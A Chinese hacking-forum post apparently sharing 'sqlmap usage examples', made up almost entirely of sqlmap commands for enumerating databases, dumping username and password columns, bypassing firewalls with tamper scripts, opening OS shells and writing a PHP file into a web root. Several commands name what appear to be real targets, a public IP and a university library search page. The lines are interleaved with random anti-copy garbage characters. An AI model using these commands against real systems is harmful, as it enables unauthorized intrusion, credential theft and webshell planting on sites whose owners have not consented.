找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1603|回复: 0
打印 上一主题 下一主题

sqlmap使用实例

[复制链接]
跳转到指定楼层
楼主
发表于 2017-5-19 17:03:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/pentest/database/sqlmap& I( g1 Y) x' W" ^1 V0 T' k& ^. [
, |, K2 B0 L  u0 C/ P! N1 d$ p
update :::::>     in the folder   after  execute    following   order : svn update
8 p! E) b1 H% ]- K3 \1 E" f; [0 R5 L; J9 P) ^/ a3 ]% _, E
sqlmap.py -r 1.txt --current-db0 C5 \4 f9 U" S
+ |/ ^0 Y2 ]- @6 n$ @+ k9 n* j
v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”
: X( K" v' K+ H" R
  M; d* c$ B1 I- G==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) . P0 P, ~0 p: B% d% |; I
猜解数据库
$ C) V- ^" |8 i$ W. y- g./sqlmap.py -u "injection-url" --dbs* ^. P0 h# p# y2 T0 I5 v
sqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py". _8 L5 O; y$ C3 S/ o( n
' m& h! y0 A/ ?+ l3 H* n
猜解表名
% }" c5 K2 ?3 v* W' _/ V- e./sqlmap.py -u "injection-url" -D database_name --tables
- t  l  C* P/ H$ [% r. K# g; p3 h9 G5 V
sqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"7 u1 {9 t) O2 e# B! [5 n7 C  M
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py"
9 {  u$ V, q" ]" V+ z$ k) T( l# q3 s# z* ]
sqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump, x0 \* B4 e9 Y) j

+ K& z1 P+ N/ I. K5 w4 B' isqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"
' g6 f* P7 T4 y0 `* Q" T! N" ssqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py", G( k. n1 i# @$ E% F) k) m$ h
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py" 7 [; |4 Q5 \* g! f
sqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"! i8 p1 W7 w- Z, }* q$ G, `1 Y

( H" W) i7 I  ?' `sqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"
; M+ ?) x6 S! A' w" `, Ssqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"
$ E% k5 K7 y, J7 wsqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"
0 x; C9 ]; x' \8 ]sqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"( K: J1 D/ [+ M) P5 {+ P
sqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump
% f" m4 t+ C2 ^9 p3 g" J2 ^5 `
9 A+ R3 w3 ?( E$ n; xsqlmap.py -r 1.txt -v 3 --dbs  --batch --tamper "space2morehash.py" 绕过防火墙了
- g1 m) x: }1 w, x* M4 D: Isqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"" K' O7 W+ H1 n( x. F+ A
# e8 W* P' z' ^3 X4 Q( U, t& v
sqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"% ~8 z: z9 ~8 A7 \% G  R  b
猜解列名% C& i$ F, t7 f/ z9 w2 z+ B9 M  r
./sqlmap.py -u "injection-url" -D database_name -T table_name --columns
8 K& L1 T# V0 E* Z
: U/ f7 z" m- C. t4 Z! Nsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py"
% c' h# R5 z! Q8 ~* d/ z8 Tsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py"
5 F/ e; F+ |- }) l6 bsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"
/ d1 X+ _. J( H) v2 y/ _. w% G3 g" X% t  j* T
sqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"
/ m- M  l7 v$ x/ i- g* W; c% c7 \&submit=Go
# Q& A3 p( r' k; M% V猜解值
7 P! w, {9 r7 e* Z, c5 s) x2 d0 e; o./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump( R/ u. ?$ Q; `1 `/ j
========================================================; K, c' k5 W; u! B+ y
搜索表名中包括mana字符的6 u2 [5 T. A6 ?+ m+ I$ a/ K. P5 L9 M
/sqlmap.py -u "injection-url" -T mana --search
: D! T0 O$ \0 y$ G' A返回一个交互式sql shell% v" g7 \: Z  E: }* i
/sqlmap.py -u "injection-url" --sql-shell( ]9 ^: G- }' R# b& s6 J
读取指定文件(需权限)
5 |9 k% ^  [; u; S/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"
# {4 S0 q7 I9 S8 R3 B; z) W查看当前 用户 及 数据库 9 \$ K9 ?1 Z9 e5 t! L
/sqlmap.py -u "injection-url" --current-user --current-db
9 r  X$ C* S7 r5 M+ h本地文件 写入 远程目标绝对路径: {% J4 k6 W) p
/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
; W" z' Q8 o+ I: b. e% V* esqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py"
0 z! K$ h" }+ t5 {2 R: T: M. x/ Z3 m. b) a6 W$ \2 w% Y& T
sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径# n  O5 G2 z) M1 _
查看某用的权限( K: @* `4 ~3 ^
/sqlmap.py -u "injection-url" --privileges -U root
$ V- }  }1 J4 Z$ f查看当前用户是否为dba8 {8 A6 L4 L9 X& w
/sqlmap.py -u "injection-url" --is-dba
  V6 g  B1 m. M7 C9 [% o读取所有数据库用户或指定数据库用户的密码
2 B' H/ h& O* Nsqlmap.py -r 1.txt --users --passwords3 j* N0 f+ q( P" p
sqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py" & w4 ]& Q+ H$ U: |" |. k

" p) f# I9 l9 N/sqlmap.py -u "injection-url" --passwords -U root
: x6 }& y* _3 j; ?( e. _; m; N' {( h5 p0 L( E' U
--start&&--stop 与 --first&&--last 的区别
- U3 z! \! W2 j8 m; M: d& f/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump   (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……): I( C% [# P' J% v

, [' H4 F9 S7 n1 p$ J9 x从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)  a3 W" _& ?; ^. {8 b3 G) j
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables
9 v0 C" i1 `0 L& I7 _! E/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns) ]0 {3 n1 @* j. `
7 q/ x# _; v) d: V
执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)$ Q) `' R  o$ W& b# Z( _+ d
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"
8 p4 P$ n5 \: L* H# w8 a! W+ `" x' ]$ u( J
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表